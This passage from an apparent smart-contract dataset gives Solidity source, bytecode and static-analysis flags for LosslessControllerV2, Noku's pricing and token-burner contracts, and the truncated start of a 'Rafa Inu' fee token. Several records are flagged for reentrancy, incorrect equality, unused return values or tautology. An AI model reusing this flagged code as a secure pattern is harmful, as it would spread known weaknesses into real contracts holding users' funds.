697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d7574653a3a64656c656761746542795369673a207369676e61747572652065787069726564a2646970667358221220ccfe9fdd974aa6bc5d044dff82887d1ba299faf44de0a21bc4806ea10a9fd37264736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,764
0xa0F93f78196eC401DAf26ED0Fb55F136D0B3f9D6
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } interface ProtectionStrategy { function isTransferAllowed(address token, address sender, address recipient, uint256 amount) external; } contract LosslessControllerV2 is Initializable, ContextUpgradeable, PausableUpgradeable { address public pauseAdmin; address public admin; address public recoveryAdmin; // --- V2 VARIABLES --- address public guardian; mapping(address => Protections) private tokenProtections; struct Protection { bool isProtected; ProtectionStrategy strategy; } struct Protections { mapping(address => Protection) protections; } // --- EVENTS --- event AdminChanged(address indexed previousAdmin, address indexed newAdmin); event RecoveryAdminChanged(address indexed previousAdmin, address indexed newAdmin); event PauseAdminChanged(address indexed previousAdmin, address indexed newAdmin); // --- V2 EVENTS --- event GuardianSet(address indexed oldGuardian, address indexed newGuardian); event ProtectedAddressSet(address indexed token, address indexed protectedAddress, address indexed strategy); event RemovedProtectedAddress(address indexed token, address indexed protectedAddress); // --- MODIFIERS --- modifier onlyLosslessRecoveryAdmin() { require(msg.sender == recoveryAdmin, "LOSSLESS: Must be recoveryAdmin"); _; } modifier onlyLosslessAdmin() { require(admin == msg.sender, "LOSSLESS: Must be admin"); _; } modifier onlyPauseAdmin() { require(msg.sender == pauseAdmin, "LOSSLESS: Must be pauseAdmin"); _; } // --- V2 MODIFIERS --- modifier onlyGuardian() { require(msg.sender == guardian, "LOSSLESS: Must be Guardian"); _; } // --- VIEWS --- function getVersion() external pure returns (uint256) { return 2; } // --- V2 VIEWS --- function isAddressProtected(address token, address protectedAddress) external view returns (bool) { return tokenProtections[token].protections[protectedAddress].isProtected; } function getProtectedAddressStrategy(address token, address protectedAddress) external view returns (address) { return address(tokenProtections[token].protections[protectedAddress].strategy); } // --- ADMINISTRATION --- function pause() external onlyPauseAdmin { _pause(); } function unpause() external onlyPauseAdmin { _unpause(); } function setAdmin(address newAdmin) external onlyLosslessRecoveryAdmin { require(newAdmin != address(0), "LERC20: Cannot be zero address"); emit AdminChanged(admin, newAdmin); admin = newAdmin; } function setRecoveryAdmin(address newRecoveryAdmin) external onlyLosslessRecoveryAdmin { require(newRecoveryAdmin != address(0), "LERC20: Cannot be zero address"); emit RecoveryAdminChanged(recoveryAdmin, newRecoveryAdmin); recoveryAdmin = newRecoveryAdmin; } function setPauseAdmin(address newPauseAdmin) external onlyLosslessRecoveryAdmin { require(newPauseAdmin != address(0), "LERC20: Cannot be zero address"); emit PauseAdminChanged(pauseAdmin, newPauseAdmin); pauseAdmin = newPauseAdmin; } // --- GUARD --- // @notice Set a guardian contract. // @dev Guardian contract must be trusted as it has some access rights and can modify controller's state. function setGuardian(address newGuardian) external onlyLosslessAdmin whenNotPaused { require(newGuardian != address(0), "LSS: Cannot be zero address"); emit GuardianSet(guardian, newGuardian); guardian = newGuardian; } // @notice Sets protection for an address with the choosen strategy. // @dev Strategies are verified in the guardian contract. // @dev This call is initiated from a strategy, but guardian proxies it. function setProtectedAddress(address token, address protectedAddresss, ProtectionStrategy strategy) external onlyGuardian whenNotPaused { Protection storage protection = tokenProtections[token].protections[protectedAddresss]; protection.isProtected = true; protection.strategy = strategy; emit ProtectedAddressSet(token, protectedAddresss, address(strategy)); } // @notice Remove the protection from the address. // @dev Strategies are verified in the guardian contract. // @dev This call is initiated from a strategy, but guardian proxies it. function removeProtectedAddress(address token, address protectedAddresss) external onlyGuardian whenNotPaused { delete tokenProtections[token].protections[protectedAddresss]; emit RemovedProtectedAddress(token, protectedAddresss); } // --- BEFORE HOOKS --- // @notice If address is protected, transfer validation rules have to be run inside the strategy. // @dev isTransferAllowed reverts in case transfer can not be done by the defined rules. function beforeTransfer(address sender, address recipient, uint256 amount) external { if (tokenProtections[msg.sender].protections[sender].isProtected) { tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount); } } // @notice If address is protected, transfer validation rules have to be run inside the strategy. // @dev isTransferAllowed reverts in case transfer can not be done by the defined rules. function beforeTransferFrom(address sender, address recipient, uint256 amount) external { if (tokenProtections[msg.sender].protections[sender].isProtected) { tokenProtections[msg.sender].protections[sender].strategy.isTransferAllowed(msg.sender, sender, recipient, amount); } } function beforeApprove(address sender, address spender, uint256 amount) external {} function beforeIncreaseAllowance(address msgSender, address spender, uint256 addedValue) external {} function beforeDecreaseAllowance(address msgSender, address spender, uint256 subtractedValue) external {} // --- AFTER HOOKS --- // * After hooks are deprecated in LERC20 but we have to keep them // here in order to support legacy LERC20. function afterApprove(address sender, address spender, uint256 amount) external {} function afterTransfer(address sender, address recipient, uint256 amount) external {} function afterTransferFrom(address msgSender, address sender, address recipient, uint256 amount) external {} function afterIncreaseAllowance(address sender, address spender, uint256 addedValue) external {} function afterDecreaseAllowance(address sender, address spender, uint256 subtractedValue) external {} }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c8063704b6c02116100de578063b75bb0d611610097578063cf5961bb11610071578063cf5961bb146101db578063ded1f4d0146101db578063f49062ca146101db578063f851a440146102ce5761018e565b8063b75bb0d6146102a8578063c5a07b92146102bb578063c601a0f2146101b15761018e565b8063704b6c02146102545780638456cb59146102675780638a0dac4a1461026f578063900f66ef146101db578063a56e8adf14610282578063af1bf347146102955761018e565b8063452a93201161014b5780635937f650116101255780635937f650146102115780635c975abb146102245780635f6529a31461023957806361c1ce06146102415761018e565b8063452a93201461020957806347abf3be146101db578063568c75a9146101db5761018e565b80630d8e6e2c146101935780631ffb811f146101b15780632f11d653146101c657806334d01aa8146101db5780633835b4d5146101ee5780633f4ba83a14610201575b600080fd5b61019b6102d6565b6040516101a89190610cde565b60405180910390f35b6101c46101bf366004610ab3565b6102db565b005b6101ce610392565b6040516101a89190610af3565b6101c46101e9366004610ab3565b61038d565b6101c46101fc366004610a69565b6103a1565b6101c4610472565b6101ce6104a6565b6101c461021f3660046109be565b6104b5565b61022c610561565b6040516101a89190610b31565b6101ce61056a565b6101c461024f3660046109e1565b610579565b6101c46102623660046109be565b610628565b6101c46106d4565b6101c461027d3660046109be565b610706565b6101c4610290366004610a19565b6107d7565b6101c46102a33660046109be565b6107dd565b6101ce6102b63660046109e1565b610889565b61022c6102c93660046109e1565b6108b8565b6101ce6108e6565b600290565b3360009081526069602090815260408083206001600160a01b038716845290915290205460ff161561038d573360008181526069602090815260408083206001600160a01b03888116855292529182902054915163d4bab30360e01b8152610100909204169163d4bab3039161035a9190879087908790600401610b07565b600060405180830381600087803b15801561037457600080fd5b505af1158015610388573d6000803e3d6000fd5b505050505b505050565b6065546001600160a01b031681565b6068546001600160a01b031633146103d45760405162461bcd60e51b81526004016103cb90610c02565b60405180910390fd5b6103dc610561565b156103f95760405162461bcd60e51b81526004016103cb90610b6a565b6001600160a01b03838116600081815260696020908152604080832087861680855292528083208054600160ff1990911617610100600160a81b031916610100968816968702178155905190949391927f2fb7c91e605d5a69479e668b07c4c8edcdcb4ac3111a53c018a2eaf25cd088d891a450505050565b6065546001600160a01b0316331461049c5760405162461bcd60e51b81526004016103cb90610ca7565b6104a46108f5565b565b6068546001600160a01b031681565b6067546001600160a01b031633146104df5760405162461bcd60e51b81526004016103cb90610c39565b6001600160a01b0381166105055760405162461bcd60e51b81526004016103cb90610b94565b6067546040516001600160a01b038084169216907f1c7f382531621f02aefb4212478bba8871ffad078202bdbba87f3e21d639aebb90600090a3606780546001600160a01b0319166001600160a01b0392909216919091179055565b60335460ff1690565b6067546001600160a01b031681565b6068546001600160a01b031633146105a35760405162461bcd60e51b81526004016103cb90610c02565b6105ab610561565b156105c85760405162461bcd60e51b81526004016103cb90610b6a565b6001600160a01b0380831660008181526069602090815260408083209486168084529490915280822080546001600160a81b0319169055517fa2971d1046995b3a7aa03439118589e13f8f1f3d35889ad7420b0966c5bc97819190a35050565b6067546001600160a01b031633146106525760405162461bcd60e51b81526004016103cb90610c39565b6001600160a01b0381166106785760405162461bcd60e51b81526004016103cb90610b94565b6066546040516001600160a01b038084169216907f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f90600090a3606680546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031633146106fe5760405162461bcd60e51b81526004016103cb90610ca7565b6104a4610963565b6066546001600160a01b031633146107305760405162461bcd60e51b81526004016103cb90610c70565b610738610561565b156107555760405162461bcd60e51b81526004016103cb90610b6a565b6001600160a01b03811661077b5760405162461bcd60e51b81526004016103cb90610bcb565b6068546040516001600160a01b038084169216907fc3ce29e3ab42e524b6f6f1b4d3674898d503ee3577a64ac87b555904ebc1413890600090a3606880546001600160a01b0319166001600160a01b0392909216919091179055565b50505050565b6067546001600160a01b031633146108075760405162461bcd60e51b81526004016103cb90610c39565b6001600160a01b03811661082d5760405162461bcd60e51b81526004016103cb90610b94565b6065546040516001600160a01b038084169216907f3e3c23bddf712ae8e73d99dd08fb2e57109143a29c9258dda76a897076e596f590600090a3606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0391821660009081526069602090815260408083209385168352929052205461010090041690565b6001600160a01b03918216600090815260696020908152604080832093909416825291909152205460ff1690565b6066546001600160a01b031681565b6108fd610561565b6109195760405162461bcd60e51b81526004016103cb90610b3c565b6033805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa61094c6109ba565b6040516109599190610af3565b60405180910390a1565b61096b610561565b156109885760405162461bcd60e51b81526004016103cb90610b6a565b6033805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a25861094c5b3390565b6000602082840312156109cf578081fd5b81356109da81610ce7565b9392505050565b600080604083850312156109f3578081fd5b82356109fe81610ce7565b91506020830135610a0e81610ce7565b809150509250929050565b60008060008060808587031215610a2e578182fd5b8435610a3981610ce7565b93506020850135610a4981610ce7565b92506040850135610a5981610ce7565b9396929550929360600135925050565b600080600060608486031215610a7d578283fd5b8335610a8881610ce7565b92506020840135610a9881610ce7565b91506040840135610aa881610ce7565b809150509250925092565b600080600060608486031215610ac7578283fd5b8335610ad281610ce7565b92506020840135610ae281610ce7565b929592945050506040919091013590565b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b901515815260200190565b60208082526014908201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604082015260600190565b60208082526010908201526f14185d5cd8589b194e881c185d5cd95960821b604082015260600190565b6020808252601e908201527f4c45524332303a2043616e6e6f74206265207a65726f20616464726573730000604082015260600190565b6020808252601b908201527f4c53533a2043616e6e6f74206265207a65726f20616464726573730000000000604082015260600190565b6020808252601a908201527f4c4f53534c4553533a204d75737420626520477561726469616e000000000000604082015260600190565b6020808252601f908201527f4c4f53534c4553533a204d757374206265207265636f7665727941646d696e00604082015260600190565b60208082526017908201527f4c4f53534c4553533a204d7573742062652061646d696e000000000000000000604082015260600190565b6020808252601c908201527f4c4f53534c4553533a204d75737420626520706175736541646d696e00000000604082015260600190565b90815260200190565b6001600160a01b0381168114610cfc57600080fd5b5056fea26469706673582212209df531b940fd1780021e692c2fb6544f558e3e3c8df35d0f0a59fd50cbe58f3264736f6c63430008000033
{"success": true, "error": null, "results": {}}
2,765
0x176cdd6b7dd4419105e999e0e6ca643384741fb6
pragma solidity ^0.4.23; // File: contracts/NokuPricingPlan.sol /** * @dev The NokuPricingPlan contract defines the responsibilities of a Noku pricing plan. */ contract NokuPricingPlan { /** * @dev Pay the fee for the service identified by the specified name. * The fee amount shall already be approved by the client. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @param client The client of the target service. * @return true if fee has been paid. */ function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); /** * @dev Get the usage fee for the service identified by the specified name. * The returned fee amount shall be approved before using #payFee method. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @return The amount to approve before really paying such fee. */ function usageFee(bytes32 serviceName, uint256 multiplier) public constant returns(uint fee); } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/NokuTokenBurner.sol contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } /** * @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received * ERC20-compliant tokens and distribute the remainder to the configured wallet. */ contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); // The wallet receiving the unburnt tokens. address public wallet; // The percentage of tokens to burn after being received (range [0, 100]) uint256 public burningPercentage; // The cumulative amount of burnt tokens. uint256 public burnedTokens; // The cumulative amount of tokens transferred back to the wallet. uint256 public transferredTokens; /** * @dev Create a new NokuTokenBurner with predefined burning fraction. * @param _wallet The wallet receiving the unburnt tokens. */ constructor(address _wallet) public { require(_wallet != address(0), "_wallet is zero"); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } /** * @dev Change the percentage of tokens to burn after being received. * @param _burningPercentage The percentage of tokens to be burnt. */ function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } /** * @dev Called after burnable tokens has been transferred for burning. * @param _token THe extended ERC20 interface supported by the sent tokens. * @param _amount The amount of burnable tokens just arrived ready for burning. */ function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), "_token is zero"); require(_amount > 0, "_amount is zero"); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } // File: contracts/NokuFlatPlan.sol /** * @dev The NokuFlatPlan contract implements a flat pricing plan, manageable by the contract owner. */ contract NokuFlatPlan is NokuPricingPlan, Ownable { using SafeMath for uint256; event LogNokuFlatPlanCreated( address indexed caller, uint256 indexed paymentInterval, uint256 indexed flatFee, address nokuMasterToken, address tokenBurner ); event LogPaymentIntervalChanged(address indexed caller, uint256 indexed paymentInterval); event LogFlatFeeChanged(address indexed caller, uint256 indexed flatFee); // The validity time interval of the flat subscription. uint256 public paymentInterval; // When the next payment is required as timestamp in seconds from Unix epoch uint256 public nextPaymentTime; // The fee amount expressed in NOKU tokens. uint256 public flatFee; // The NOKU utility token used for paying fee address public nokuMasterToken; // The contract responsible for burning the NOKU tokens paid as service fee address public tokenBurner; constructor( uint256 _paymentInterval, uint256 _flatFee, address _nokuMasterToken, address _tokenBurner ) public { require(_paymentInterval != 0, "_paymentInterval is zero"); require(_flatFee != 0, "_flatFee is zero"); require(_nokuMasterToken != 0, "_nokuMasterToken is zero"); require(_tokenBurner != 0, "_tokenBurner is zero"); paymentInterval = _paymentInterval; flatFee = _flatFee; nokuMasterToken = _nokuMasterToken; tokenBurner = _tokenBurner; nextPaymentTime = block.timestamp; emit LogNokuFlatPlanCreated( msg.sender, _paymentInterval, _flatFee, _nokuMasterToken, _tokenBurner ); } function setPaymentInterval(uint256 _paymentInterval) public onlyOwner { require(_paymentInterval != 0, "_paymentInterval is zero"); require(_paymentInterval != paymentInterval, "_paymentInterval equal to current one"); paymentInterval = _paymentInterval; emit LogPaymentIntervalChanged(msg.sender, _paymentInterval); } function setFlatFee(uint256 _flatFee) public onlyOwner { require(_flatFee != 0, "_flatFee is zero"); require(_flatFee != flatFee, "_flatFee equal to current one"); flatFee = _flatFee; emit LogFlatFeeChanged(msg.sender, _flatFee); } function isValidService(bytes32 _serviceName) public pure returns(bool isValid) { return _serviceName != 0; } /** * @dev Defines the operation by checking if flat fee has been paid or not. */ function payFee(bytes32 _serviceName, uint256 _multiplier, address _client) public returns(bool paid) { require(isValidService(_serviceName), "_serviceName in invalid"); require(_multiplier != 0, "_multiplier is zero"); require(_client != 0, "_client is zero"); require(block.timestamp < nextPaymentTime); return true; } function usageFee(bytes32 _serviceName, uint256 _multiplier) public constant returns(uint fee) { require(isValidService(_serviceName), "_serviceName in invalid"); require(_multiplier != 0, "_multiplier is zero"); return 0; } function paySubscription(address _client) public returns(bool paid) { require(_client != 0, "_client is zero"); nextPaymentTime = nextPaymentTime.add(paymentInterval); assert(ERC20(nokuMasterToken).transferFrom(_client, tokenBurner, flatFee)); NokuTokenBurner(tokenBurner).tokenReceived(nokuMasterToken, flatFee); return true; } }
0x6080604052600436106100c45763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630ab66be381146100c957806314111a43146100fe5780631cc1cf461461011657806323fa495a1461013d5780632996f972146101575780632b708fc914610188578063738a2cf8146101a35780638544023a146101b85780638da5cb5b146101cd578063d157f645146101e2578063d30b5386146101fa578063d9eb594714610221578063f2fde38b14610236575b600080fd5b3480156100d557600080fd5b506100ea600160a060020a0360043516610257565b604080519115158252519081900360200190f35b34801561010a57600080fd5b506100ea60043561041c565b34801561012257600080fd5b5061012b610421565b60408051918252519081900360200190f35b34801561014957600080fd5b50610155600435610427565b005b34801561016357600080fd5b5061016c610524565b60408051600160a060020a039092168252519081900360200190f35b34801561019457600080fd5b5061012b600435602435610533565b3480156101af57600080fd5b5061012b6105f4565b3480156101c457600080fd5b5061016c6105fa565b3480156101d957600080fd5b5061016c610609565b3480156101ee57600080fd5b50610155600435610618565b34801561020657600080fd5b506100ea600435602435600160a060020a036044351661073b565b34801561022d57600080fd5b5061012b61086b565b34801561024257600080fd5b50610155600160a060020a0360043516610871565b6000600160a060020a03821615156102b9576040805160e560020a62461bcd02815260206004820152600f60248201527f5f636c69656e74206973207a65726f0000000000000000000000000000000000604482015290519081900360640190fd5b6001546002546102ce9163ffffffff61090516565b60025560048054600554600354604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a0388811696820196909652928516602484015260448301919091525192909116916323b872dd916064808201926020929091908290030181600087803b15801561035257600080fd5b505af1158015610366573d6000803e3d6000fd5b505050506040513d602081101561037c57600080fd5b5051151561038657fe5b60055460048054600354604080517fcae15051000000000000000000000000000000000000000000000000000000008152600160a060020a039384169481019490945260248401919091525192169163cae150519160448082019260009290919082900301818387803b1580156103fc57600080fd5b505af1158015610410573d6000803e3d6000fd5b50600195945050505050565b151590565b60015481565b600054600160a060020a0316331461043e57600080fd5b801515610495576040805160e560020a62461bcd02815260206004820152601060248201527f5f666c6174466565206973207a65726f00000000000000000000000000000000604482015290519081900360640190fd5b6003548114156104ef576040805160e560020a62461bcd02815260206004820152601d60248201527f5f666c617446656520657175616c20746f2063757272656e74206f6e65000000604482015290519081900360640190fd5b6003819055604051819033907f7f315bb6805aea648c48a2a5f6c40d64825ae461e2ef84042ec4f86a1b344a4190600090a350565b600554600160a060020a031681565b600061053e8361041c565b1515610594576040805160e560020a62461bcd02815260206004820152601760248201527f5f736572766963654e616d6520696e20696e76616c6964000000000000000000604482015290519081900360640190fd5b8115156105eb576040805160e560020a62461bcd02815260206004820152601360248201527f5f6d756c7469706c696572206973207a65726f00000000000000000000000000604482015290519081900360640190fd5b50600092915050565b60025481565b600454600160a060020a031681565b600054600160a060020a031681565b600054600160a060020a0316331461062f57600080fd5b801515610686576040805160e560020a62461bcd02815260206004820152601860248201527f5f7061796d656e74496e74657276616c206973207a65726f0000000000000000604482015290519081900360640190fd5b600154811415610706576040805160e560020a62461bcd02815260206004820152602560248201527f5f7061796d656e74496e74657276616c20657175616c20746f2063757272656e60448201527f74206f6e65000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6001819055604051819033907f7074304ad9ee4d69ed96d5834b9566529a081e49650a20b58885f02f7e27bff890600090a350565b60006107468461041c565b151561079c576040805160e560020a62461bcd02815260206004820152601760248201527f5f736572766963654e616d6520696e20696e76616c6964000000000000000000604482015290519081900360640190fd5b8215156107f3576040805160e560020a62461bcd02815260206004820152601360248201527f5f6d756c7469706c696572206973207a65726f00000000000000000000000000604482015290519081900360640190fd5b600160a060020a0382161515610853576040805160e560020a62461bcd02815260206004820152600f60248201527f5f636c69656e74206973207a65726f0000000000000000000000000000000000604482015290519081900360640190fd5b600254421061086157600080fd5b5060019392505050565b60035481565b600054600160a060020a0316331461088857600080fd5b600160a060020a038116151561089d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b8181018281101561091257fe5b929150505600a165627a7a723058209e64d5e29b556ecc8927b6de7a7434b255c78c8c59673e66ca217ca67bc902ba0029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
2,766
0xe0f819bf4022daafd67f88f8590e7190e8f77025
/** * lock Lp 30days */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RafaInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 200000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Rafa Inu"; string private constant _symbol = "RAFA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xc0D511c3F9967b930fF12b61599Da1d316bcD756); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) 